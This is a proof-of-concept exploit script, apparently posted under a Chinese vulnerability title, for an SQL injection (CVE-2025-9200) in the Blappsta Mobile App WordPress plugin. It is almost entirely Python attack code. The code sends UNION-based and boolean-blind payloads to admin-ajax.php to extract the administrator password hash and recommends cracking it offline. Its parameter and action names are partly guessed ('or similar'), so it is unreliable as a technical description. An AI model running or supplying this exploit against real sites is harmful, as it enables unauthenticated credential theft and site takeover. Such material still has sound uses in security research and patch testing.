CVE-2025-9200 WordPress Blappsta插件SQL注入漏洞

# CVE-2025-9200 PoC - Blappsta Mobile App Plugin SQL Injection # Vulnerability: SQL Injection in nh_ynaa_comments() function # Affected versions: <= 0.8.8.8 import requests TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint is typically accessed via WordPress AJAX or REST API # The nh_ynaa_comments() function is triggered through the plugin's mobile app sync mechanism def exploit_sql_injection(target_url): """ Exploit SQL injection in Blappsta Mobile App Plugin's nh_ynaa_comments() function. The vulnerability allows unauthenticated attackers to append SQL queries. """ # Step 1: Identify the vulnerable parameter (typically a comment ID or similar parameter) # The injection point is in parameters passed to nh_ynaa_comments() function # Step 2: Craft UNION-based SQL injection payload to extract admin credentials # Example payload to extract WordPress admin password hash payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" # Step 3: Send the malicious request # The endpoint is typically triggered via AJAX action or REST API route params = { "action": "nh_ynaa_comments", # or similar action name "id": payload, # vulnerable parameter } headers = { "User-Agent": "Mozilla/5.0 (compatible; Blappsta/1.0)", "X-Requested-With": "XMLHttpRequest" } response = requests.get( f"{target_url}/wp-admin/admin-ajax.php", params=params, headers=headers ) # Step 4: Extract sensitive information from response if response.status_code == 200: print(f"[+] Response: {response.text}") # The admin password hash would be in the response # Can be cracked offline using tools like hashcat or john return response.text # Alternative: Boolean-based blind SQL injection def blind_sql_injection(target_url): """ Boolean-based blind SQL injection to extract data character by character. """ extracted_data = "" # Extract database name length payload = "1 AND (SELECT LENGTH(database()))>0-- -" params = { "action": "nh_ynaa_comments", "id": payload, } response = requests.get( f"{target_url}/wp-admin/admin-ajax.php", params=params ) return response.text if __name__ == "__main__": # Run exploitation result = exploit_sql_injection(TARGET_URL) print(f"Exploitation result: {result}")